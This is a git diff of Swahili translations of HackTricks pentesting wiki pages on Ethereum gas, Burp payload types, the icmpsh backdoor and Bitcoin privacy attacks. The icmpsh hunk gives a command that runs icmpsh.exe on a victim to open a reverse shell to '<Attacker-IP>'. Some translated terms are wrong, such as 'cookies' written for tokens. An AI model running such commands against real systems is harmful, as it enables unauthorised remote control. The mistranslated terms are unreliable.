|
||||
|
||||
# **Ethereum: Gas na Shughuli**
|
||||
|
||||
## **Kuelewa Gas**
|
||||
|
||||
Gas inapima juhudi za kihesabu zinazohitajika kutekeleza shughuli kwenye Ethereum, bei yake ikiwa ni **gwei**. Kwa mfano, shughuli inayogharimu 2,310,000 gwei (au 0.00231 ETH) inahusisha kikomo cha gas na ada ya msingi, pamoja na dau la kuhamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada inarudishwa.
|
||||
Gas hupima juhudi za kuhesabu zinazohitajika kutekeleza operesheni kwenye Ethereum, bei yake ikiwa **gwei**. Kwa mfano, shughuli inayogharimu 2,310,000 gwei (au 0.00231 ETH) inahusisha kikomo cha gesi na ada ya msingi, pamoja na bahasha ya kuhamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada kurudishwa.
|
||||
|
||||
## **Kutekeleza Shughuli**
|
||||
|
||||
Shughuli katika Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au mikataba ya akili. Shughuli hizo zinahitaji ada na lazima zichimbwe. Habari muhimu katika shughuli ni mpokeaji, saini ya mtumaji, thamani, data ya hiari, kikomo cha gas, na ada. Kwa umuhimu, anwani ya mtumaji inatokana na saini, hivyo kuondoa haja ya kuwepo kwake katika data ya shughuli.
|
||||
Shughuli kwenye Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au mikataba mjanja. Wanahitaji ada na lazima zichimbwe. Taarifa muhimu katika shughuli ni mpokeaji, saini ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa umuhimu, anwani ya mtumaji inahesabiwa kutoka kwa saini, ikiondoa haja ya kuwepo kwake katika data ya shughuli.
|
||||
|
||||
Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki katika sarafu za kielektroniki huku akipa kipaumbele faragha na usalama.
|
||||
Mbinu hizi na mifumo ni msingi kwa yeyote anayetaka kushiriki katika sarafu za kielektroniki huku akipatia kipaumbele faragha na usalama.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
|
@ -183,18 +188,3 @@ Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki katika sarafu za ki
|
|||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa katika HackTricks** au **kupakua HackTricks katika PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,43 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Payloads Msingi
|
||||
# Mipaka ya Msingi
|
||||
|
||||
* **Orodha Rahisi:** Orodha tu inayojumuisha kila mstari
|
||||
* **Faili ya Wakati wa Uendeshaji:** Orodha inayosomwa wakati wa uendeshaji (haipakwi kwenye kumbukumbu). Kwa kusaidia orodha kubwa.
|
||||
* **Mabadiliko ya Kesi:** Tumia mabadiliko fulani kwenye orodha ya maneno (Hakuna mabadiliko, kuwa herufi ndogo, kuwa herufi kubwa, kuwa Jina la Heshima - Kwanza imeandikwa kwa herufi kubwa na zingine zinabaki kuwa ndogo-, kuwa Jina la Heshima - Kwanza imeandikwa kwa herufi kubwa na zingine zinabaki sawa-.
|
||||
* **Nambari:** Jenereta ya nambari kutoka X hadi Y kwa hatua ya Z au kwa nasibu.
|
||||
* **Brute Forcer:** Seti ya herufi, urefu wa chini na wa juu.
|
||||
* **Orodha Rahisi:** Orodha inayojumuisha kuingia kila mstari
|
||||
* **Faili ya Wakati wa Uendeshaji:** Orodha inayosomwa wakati wa uendeshaji (haipakuliwi kumbukani). Kwa kusaidia orodha kubwa.
|
||||
* **Ubunifu wa Kesi:** Tumia mabadiliko fulani kwa orodha ya maneno (Bila mabadiliko, kubwa, kwa HERU, kwa Jina la Heshima - la kwanza limeandikwa kwa herufi kubwa na zingine kwa herufi ndogo-, kwa Jina la Heshima -la kwanza limeandikwa kwa herufi kubwa na zingine zinabaki sawa-.
|
||||
* **Namba:** Unda namba kutoka X hadi Y kwa hatua ya Z au kwa nasibu.
|
||||
* **Mjenzi wa Brute:** Seti ya herufi, urefu wa chini na wa juu.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload ya kutekeleza amri na kunasa matokeo kupitia maombi ya DNS kwa burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Mipaka ya kutekeleza amri na kunasa matokeo kupitia maombi ya DNS kwa burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
34
c2/icmpsh.md
34
c2/icmpsh.md
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Pakua mlango wa nyuma kutoka: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
|
@ -35,16 +36,17 @@ Pakia **icmpsh.exe** kwa mlemavu na tekeleza:
|
|||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,120 +1,107 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze & zoeza AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoeza GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Misingi ya Msingi
|
||||
|
||||
- **Mkataba Mjanja** unatambuliwa kama programu ambazo hutekelezwa kwenye blockchain wakati hali fulani zinakutana, kiotomatiki utekelezaji wa makubaliano bila wakala.
|
||||
- **Maombi Yaliyotawanyika (dApps)** yanajengwa kwenye mikataba mjanja, yakionyesha kiolesura cha mtumiaji kirafiki na sehemu ya nyuma inayoweza kuangaliwa na kufanyiwa ukaguzi.
|
||||
- **Mkataba Mjanja** unatambuliwa kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanakutana, kufanya utekelezaji wa makubaliano bila wakala.
|
||||
- **Maombi Yaliyotawanyika (dApps)** yanajengwa kwenye mikataba mjanja, yakionyesha kiolesura cha mtumiaji kirafiki mbele na nyuma inayoweza kuangaliwa na kuhakiki.
|
||||
- **Vidakuzi & Sarafu** zinatofautisha ambapo sarafu hutumika kama pesa za kidijitali, wakati vidakuzi vinawakilisha thamani au umiliki katika muktadha maalum.
|
||||
- **Vidakuzi vya Matumizi** hutoa ufikiaji wa huduma, na **Vidakuzi vya Usalama** hufafanua umiliki wa mali.
|
||||
- **Vidakuzi vya Matumizi** hutoa ufikiaji wa huduma, na **Vidakuzi vya Usalama** vinawakilisha umiliki wa mali.
|
||||
- **DeFi** inasimama kwa Fedha Zilizotawanyika, ikitoa huduma za kifedha bila mamlaka ya kati.
|
||||
- **DEX** na **DAOs** hurejelea Jukwaa za Kubadilishana Zilizotawanyika na Mashirika Yaliyotawanyika ya Kujitegemea, mtawalia.
|
||||
- **DEX** na **DAOs** hurejelea Jukwaa za Kubadilishana Zilizotawanyika na Mashirika Yaliyotawanyika ya Kiotomatiki, mtawalia.
|
||||
|
||||
## Mifumo ya Makubaliano
|
||||
|
||||
Mifumo ya makubaliano huhakikisha uthibitisho salama na uliokubaliwa wa miamala kwenye blockchain:
|
||||
- **Uthibitisho wa Kazi (PoW)** unategemea nguvu ya kompyuta kwa uthibitisho wa miamala.
|
||||
Mifumo ya makubaliano huthibitisha uthibitisho salama na uliokubaliwa wa shughuli kwenye blockchain:
|
||||
- **Uthibitisho wa Kazi (PoW)** unategemea nguvu ya kompyuta kwa uthibitisho wa shughuli.
|
||||
- **Uthibitisho wa Hisa (PoS)** unahitaji wathibitishaji kushikilia kiasi fulani cha vidakuzi, kupunguza matumizi ya nishati ikilinganishwa na PoW.
|
||||
|
||||
## Mambo Msingi ya Bitcoin
|
||||
## Muhimu wa Bitcoin
|
||||
|
||||
### Miamala
|
||||
### Shughuli
|
||||
|
||||
Miamala ya Bitcoin inahusisha kuhamisha fedha kati ya anwani. Miamala huthibitishwa kupitia saini za kidijitali, ikihakikisha tu mmiliki wa ufunguo wa faragha anaweza kuanzisha uhamisho.
|
||||
Shughuli za Bitcoin zinahusisha uhamishaji wa fedha kati ya anwani. Shughuli huthibitishwa kupitia saini za kidijitali, ikihakikisha tu mmiliki wa ufunguo wa faragha anaweza kuanzisha uhamisho.
|
||||
|
||||
#### Vipengele muhimu:
|
||||
|
||||
- **Miamala ya Multisignature** inahitaji saini nyingi kuidhinisha miamala.
|
||||
- Miamala inajumuisha **vyanzo** (chanzo cha fedha), **marudio** (mahali pa kufikia), **ada** (iliyolipwa kwa wachimbaji), na **maandishi** (kanuni za miamala).
|
||||
- **Shughuli za Multisignature** zinahitaji saini nyingi kuidhinisha shughuli.
|
||||
- Shughuli zina **vyanzo** (chanzo cha fedha), **matokeo** (marudio), **ada** (iliyolipwa kwa wachimbaji), na **maandishi** (kanuni za shughuli).
|
||||
|
||||
### Mtandao wa Lightning
|
||||
|
||||
Lengo ni kuboresha uwezo wa Bitcoin kwa kuruhusu miamala kadhaa ndani ya kituo, ikibashiri tu hali ya mwisho kwenye blockchain.
|
||||
Lengo ni kuboresha uwezo wa Bitcoin kwa kuruhusu shughuli nyingi ndani ya kituo, kisha kutangaza hali ya mwisho tu kwenye blockchain.
|
||||
|
||||
## Maswala ya Faragha ya Bitcoin
|
||||
|
||||
Mashambulizi ya faragha, kama **Umiliki wa Pamoja wa Ingizo** na **Ugunduzi wa Anwani ya Kubadilisha UTXO**, yanatumia mifumo ya miamala. Mikakati kama **Mchanganyiko** na **CoinJoin** huimarisha kutokujulikana kwa kuficha viungo vya miamala kati ya watumiaji.
|
||||
Mashambulizi ya faragha, kama **Umiliki wa Pamoja wa Ingizo** na **Ugunduzi wa Anwani ya Kubadilisha UTXO**, yanatumia mifumo ya shughuli. Mikakati kama **Mchanganyiko** na **CoinJoin** huimarisha kutokujulikana kwa kuficha viungo vya shughuli kati ya watumiaji.
|
||||
|
||||
## Kupata Bitcoins kwa Siri
|
||||
|
||||
Njia ni pamoja na biashara ya pesa taslimu, uchimbaji, na kutumia mchanganyiko. **CoinJoin** inachanganya miamala kadhaa kufanya iwe ngumu kufuatilia, wakati **PayJoin** inaficha CoinJoins kama miamala za kawaida kwa faragha iliyoboreshwa.
|
||||
Njia ni pamoja na biashara ya pesa taslimu, uchimbaji, na kutumia mchanganyiko. **CoinJoin** inachanganya shughuli nyingi kufanya ugunduzi kuwa mgumu, wakati **PayJoin** inaficha CoinJoins kama shughuli za kawaida kwa faragha iliyoboreshwa.
|
||||
|
||||
|
||||
# Mashambulizi ya Faragha ya Bitcoin
|
||||
|
||||
# Muhtasari wa Mashambulizi ya Faragha ya Bitcoin
|
||||
|
||||
Katika ulimwengu wa Bitcoin, faragha ya miamala na kutokujulikana kwa watumiaji mara nyingi ni mada za wasiwasi. Hapa kuna muhtasari rahisi wa njia kadhaa za kawaida ambazo wadukuzi wanaweza kuhatarisha faragha ya Bitcoin.
|
||||
Katika ulimwengu wa Bitcoin, faragha ya shughuli na kutokujulikana kwa watumiaji mara nyingi ni mada za wasiwasi. Hapa kuna muhtasari rahisi wa njia kadhaa za kawaida ambazo wadukuzi wanaweza kuhatarisha faragha ya Bitcoin.
|
||||
|
||||
## **Udhani wa Umiliki wa Ingizo la Kawaida**
|
||||
|
||||
Kwa ujumla ni nadra kwa vyanzo kutoka kwa watumiaji tofauti kuunganishwa katika miamala moja kutokana na ugumu uliopo. Hivyo, **anwani mbili za vyanzo katika miamala moja mara nyingi huchukuliwa kuwa za mmiliki mmoja**.
|
||||
Kwa ujumla ni nadra kwa vyanzo kutoka kwa watumiaji tofauti kuunganishwa katika shughuli moja kutokana na ugumu uliohusika. Hivyo, **anwani mbili za vyanzo katika shughuli moja mara nyingi huchukuliwa kuwa za mmiliki mmoja**.
|
||||
|
||||
## **Ugunduzi wa Anwani ya Kubadilisha UTXO**
|
||||
|
||||
UTXO, au **Matokeo ya Miamala Yasiyotumiwa**, lazima itumike kabisa katika miamala. Ikiwa sehemu tu inatumwa kwa anwani nyingine, salio linakwenda kwa anwani mpya ya kubadilisha. Wachunguzi wanaweza kudhani anwani hii mpya inamilikiwa na mtumaji, ikahatarisha faragha.
|
||||
|
||||
### Mfano
|
||||
Kupunguza hili, huduma za kuchanganya au kutumia anwani nyingi kunaweza kusaidia kuficha umiliki.
|
||||
|
||||
## **Mawasiliano kwenye Mitandao ya Kijamii & Vikundi**
|
||||
|
||||
Watumiaji mara nyingine hushiriki anwani zao za Bitcoin mtandaoni, ikifanya iwe **rahisi kuunganisha anwani na mmiliki wake**.
|
||||
|
||||
## **Uchambuzi wa Grafu ya Miamala**
|
||||
|
||||
Miamala inaweza kuonyeshwa kama grafu, ikifunua uhusiano wa uwezekano kati ya watumiaji kulingana na mtiririko wa fedha.
|
||||
|
||||
## **Heuristi ya Ingizo Isiyohitajika (Heuristi ya Kubadilisha Bora)**
|
||||
|
||||
Heuristi hii inategemea uchambuzi wa miamala na vyanzo vingi na marudio kudhani ni marudio gani yanayorudi kwa mtumaji.
|
||||
UTXO, au **Matokeo Yasiyotumiwa ya Shughuli**, lazima itumike kabisa katika shughuli. Ikiwa sehemu tu inatumwa kwa anwani nyingine, mabaki huenda kwa anwani mpya ya kubadilisha. Wachunguzi wanaweza kudhani anwani hii mpya inamilikiwa na mtumaji, ikahatarisha faragha.
|
||||
|
||||
### Mfano
|
||||
Kwa kuzuiya hili, huduma za kuchanganya au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
## **Kuchanganya Anwani**
|
||||
## **Kutumia Anwani Kwa Lazima Tena**
|
||||
|
||||
Washambuliaji wanaweza kutuma kiasi kidogo kwa anwani zilizotumiwa awali, wakitarajia mpokeaji atachanganya kiasi hicho na vipande vingine katika shughuli za baadaye, hivyo kuunganisha anwani pamoja.
|
||||
|
||||
### Tabia Sahihi ya Mfuko wa Fedha
|
||||
Mifuko wa fedha inapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani zilizotumiwa awali na zilizo tupu ili kuzuia uvujaji huu wa faragha.
|
||||
### Tabia Sahihi ya Mfuko wa Pesa
|
||||
Mifuko wa pesa inapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani zilizotumiwa tayari, ili kuzuia uvujaji huu wa faragha.
|
||||
|
||||
## **Mbinu Nyingine za Uchambuzi wa Blockchain**
|
||||
|
||||
- **Mikataba ya Malipo Sahihi:** Shughuli bila mabadiliko huenda kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
|
||||
- **Namba za Mzunguko:** Namba ya mzunguko katika shughuli inapendekeza ni malipo, na matokeo yasiyo ya mzunguko yanaweza kuwa mabadiliko.
|
||||
- **Uchunguzi wa Alama ya Mfuko wa Fedha:** Mifuko tofauti ina mifumo ya kipekee ya uundaji wa shughuli, kuruhusu wachambuzi kutambua programu iliyotumiwa na labda anwani ya mabadiliko.
|
||||
- **Ulinganifu wa Kiasi na Wakati:** Kufichua nyakati au kiasi cha shughuli kunaweza kufanya shughuli ziweze kufuatiliwa.
|
||||
- **Mikataba ya Malipo Sahihi:** Shughuli bila mabadiliko huenda kati ya anwani mbili zinazomilikiwa na mtumiaji huyo huyo.
|
||||
- **Namba za Mzunguko:** Namba ya mzunguko katika shughuli inaashiria malipo, na matokeo yasiyo ya mzunguko huenda yakawa mabadiliko.
|
||||
- **Uchambuzi wa Alama ya Mfuko wa Pesa:** Mifuko tofauti ina mifumo ya kipekee ya uundaji wa shughuli, kuruhusu wachambuzi kutambua programu iliyotumiwa na labda anwani ya mabadiliko.
|
||||
- **Ulinganisho wa Kiasi na Wakati:** Kufichua nyakati au kiasi cha shughuli kunaweza kufanya shughuli ziweze kufuatiliwa.
|
||||
|
||||
## **Uchambuzi wa Trafiki**
|
||||
|
||||
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha shughuli au vitalu kwa anwani za IP, kuhatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa taasisi inaendesha nodi nyingi za Bitcoin, ikiongeza uwezo wao wa kufuatilia shughuli.
|
||||
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha shughuli au vitalu kwa anwani za IP, kuhatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa taasisi inaendesha nodi nyingi za Bitcoin, ikiboresha uwezo wao wa kufuatilia shughuli.
|
||||
|
||||
## Zaidi
|
||||
Kwa orodha kamili ya mashambulizi na ulinzi wa faragha, tembelea [Faragha ya Bitcoin kwenye Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
|
||||
# Shughuli za Bitcoin Zisizo na Majina
|
||||
# Shughuli za Bitcoin Zisizojulikana
|
||||
|
||||
